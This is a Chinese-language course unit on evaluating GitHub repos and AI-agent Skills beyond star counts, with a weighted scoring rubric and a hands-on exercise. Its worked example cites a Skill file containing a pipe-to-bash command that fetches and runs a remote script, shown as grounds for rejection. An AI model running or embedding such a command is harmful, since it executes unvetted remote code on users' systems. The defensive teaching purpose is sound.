這個單元解決什麼問題GitHub star 數量主要反映「行銷觸及」與「一時熱度」，不反映「對你是否好用」「是否安全」「是否還在維護」。這個單元給你一組更可靠的訊號，與一個可重複套用的評分 rubric。
學習目標
- 能說明 star 數作為訊號的偏差來源。
- 能列出至少六個比 star 更可靠的評估訊號，並知道怎麼實際查。
- 能用一個個人評分 rubric 對一個 repo / Skill 打分並做決策。
- 能區分「發現入口」與「背書」這兩件事。
1. star 數的訊號與雜訊
star 是 GitHub 平台上使用者對 repo 表達「有興趣 / 收藏 / 致敬」的按鈕。它不是品質認證，也不是活躍度指標。對 791 位開發者的調查顯示，四分之三的人在採用或貢獻開源專案前會看 star 數 [1]。 把這個事實放進決策鏈裡的副作用是：當 star 成為預設篩選器，它跟專案實際健康狀態的對應就會被嚴重高估。原始研究分析了 5,000 個高 star repo 的增長曲線，識別出至少四種 star 模式，結論明確指出「依 star 數選專案」的風險 [1]。 具體偏差來源：- 發布時機：Hacker News、Reddit、X 上一波曝光就能衝出大量 star；曝光退燒後這批使用者大部分不會回來貢獻或回報問題。
- 標題與首圖：README 的 demo GIF、品牌字型、徽章排得漂亮，star 就多；跟程式碼品質無關。
- 語言 / 框架熱度：同名 repo 在 Rust 圈可能比在 PHP 圈少十倍 star，但這不代表它在 Rust 圈品質差。
- 停滯假象：高 star 的 repo 可能長時間沒動；社群以為「很多人用所以安全」，實際上是在守一個空殼。
star 的反例你看到一個 35k star 的「awesome LLM agent」清單 repo，clone 下來一看，最後一次 commit 是 18 個月前；列出的工具一半以上已 archive 或改名；issue 裡累積 200+ 條無人回應的連結失效回報。star 數完全沒告訴你這些。
2. 更可靠的六個訊號
把 star 從評分表刪掉，改看以下六個訊號。每個都有具體可查的觀察方式。3. 行銷 vs 實證
兩個訊號要分開看：作者的「展示」與你手上的「實測」。- 展示：demo 影片、首頁 GIF、benchmark 表格。這是作者最想讓你看到的場景，通常挑過。
- 實測：你拿它跑自己真實的任務、量時間、看可重現性、算花費。這是 03-1 適合度評估 單元第二節試用協定的本體。
- 哪個 benchmark？benchmark 的資料分布、評估指標、執行環境是什麼？
- benchmark 的任務與你的任務是否同型？classification 與 generation、單輪與多輪差很多。
- 是否同條件比較？模型版本、prompt、隨機種子、硬體是否一致？
4. 個人評分 rubric
把第二節的六個訊號轉成打分表。給每個訊號一個權重（合計 100），對候選打分；分數低於門檻不採用。4.1 權重範本
4.2 打分尺度（0-3）
- 0：紅燈條件成立，直接不採用。
- 1：勉強過，但有疑慮；採納前要試用。
- 2：符合預期，沒有明顯問題。
- 3：超出預期（issue 回應快、有 CI、有簽章、依賴都在維護）。
4.3 互動評分器
用下方評分器實際對一個候選 repo 打分，觀察「任一訊號 0 分 → 整體紅燈淘汰」的 veto 邏輯如何運作，即使其他項都滿分。5. 哪裡找、怎麼找
「知道要找什麼」和「在哪裡找到」是兩件事。- 官方市集與標準站（provenance 較高，截至 2026-05）：
agents.md標準（agents.md）與各工具官方文件列出的擴充 / Skill / plugin。agents.md已於 2025-12 連同 MCP、goose 一起捐入 Linux Foundation 旗下 Agentic AI Foundation（AAIF），由 OpenAI、Anthropic、Block 共同創立，治理與託管細節見 01-7 第三節。來源可溯性高但量少。 - 社群清單（量大、雜訊高，截至 2026-05）：
awesome-cursorrules、awesome-agent-skills、awesome-mcp-servers等 GitHub 列表。當發現入口，不當背書；存活性以當下 GitHub 查詢為準。 - 搜尋引擎 + 限定詞：把
awesome、plugin、skill與工具名組合，篩選最近一年內有更新的 repo。
動手做：對一個候選 repo 跑完整評估
整段 30-45 分鐘可做完。拿一個你正在考慮的候選 Skills / 規則檔，依序做兩件事。步驟 A：六訊號觀察
1
看 repo 首頁
看 CI 徽章、Latest Release 與日期、貢獻者頭像（是否活躍）。
2
進 Insights 看 commit 分布
進
Insights → Contributors 看近 90 天 commit 分布。3
審查 Issues
進
Issues 排序「最舊未關」，看未解 issue 的年齡與官方回覆間隔。4
審查 Pull requests
進
Pull requests 看未合併的數量與最近 merge 的時間。5
掃描 Skill / 規則檔
對 Skill / 規則檔，用
ripgrep（rg）對可疑 pattern 做全文掃描（見 03-3）。6
查關鍵依賴
查關鍵依賴的 GitHub repo 是否仍活躍、是否標 deprecation。
步驟 B：套用 rubric 打分
用第四節之一的權重範本，依下列尺度對六個訊號各打分 0-3：- 0：紅燈條件成立。
- 1：勉強過，有疑慮。
- 2：符合預期，無明顯問題。
- 3：超出預期。
評分實作候選 A：一個標榜「自動寫測試」的 Claude Skill，1.2k star。
- 維護近度 2（90 天內有 8 次 commit）
- Issue / PR 回應 1（中位 25 天，作者回但慢）
- Provenance 3（作者具名，commit 有簽章，所在公司公開）
- 權限範圍 0（SKILL.md 內含
curl https://example.com/install.sh | bash）
- 任一訊號 0 分：不採用，理由寫下來。
- 加權分 < 1.5：不採用，理由寫下來。
- 1.5 ≤ 加權分 < 1.8：保留觀察，跑 03-1 單元第二節試用協定。
- 加權分 ≥ 1.8：採納，寫下使用情境與預計重評日期。
常見誤區
- 只看 star 與首頁 README 就安裝。star 反映觸及，README 反映行銷，兩者都不反映你的任務契合度。
- 把社群清單收錄當成品質保證。清單是策展，不是稽核。awesome 清單裡的死亡 repo 比活躍的多。
- 忽略最後更新時間。一年沒動的 Skill，採用的當下就要預期它在你下次升級時壞掉。
- 沒分開看展示與實測。demo 影片很順不代表你用得順；用你真實的任務跑一次才知道。
- 把「人氣高」當成「權限合理」。人氣不能抵消危險的權限要求，反而提高被模仿的風險。
自我檢核
自我檢核
- 你能對一個候選 repo，在不看 star 的前提下做出採用 / 不採用決策嗎？
- 你目前主要在用的三個 Skill / 規則檔，最後一次檢查權限範圍是什麼時候？檢查時你具體看了哪幾行？
- 你的個人評分 rubric 寫下來了嗎？權重依你的任務調過了嗎？
- 上次被 awesome 清單誤導的經驗是什麼？當時是哪個訊號沒看？
來源與延伸閱讀
事實主張依官方文件，快變動項標註截至 2026-05。- [1] H. Borges and M. T. Valente, “What’s in a GitHub Star? Understanding Repository Starring Practices in a Social Coding Platform,” Journal of Systems and Software, vol. 146, pp. 112-129, Dec. 2018. （791 位開發者調查，分析 star 增長模式與其與專案健康狀態的脫節） https://doi.org/10.1016/j.jss.2018.09.016 （截至 2026-05）
- 安全掃描具體指令見 03-3 安全、隱私與供應鏈風險。
- 量化實測見 03-4 建立個人 benchmark 與驗證習慣。
- 適合度決策框架見 03-1 如何判斷工具與 Skill 是否適合自己。
- 發現入口清單見 附錄 D 延伸資源與社群清單。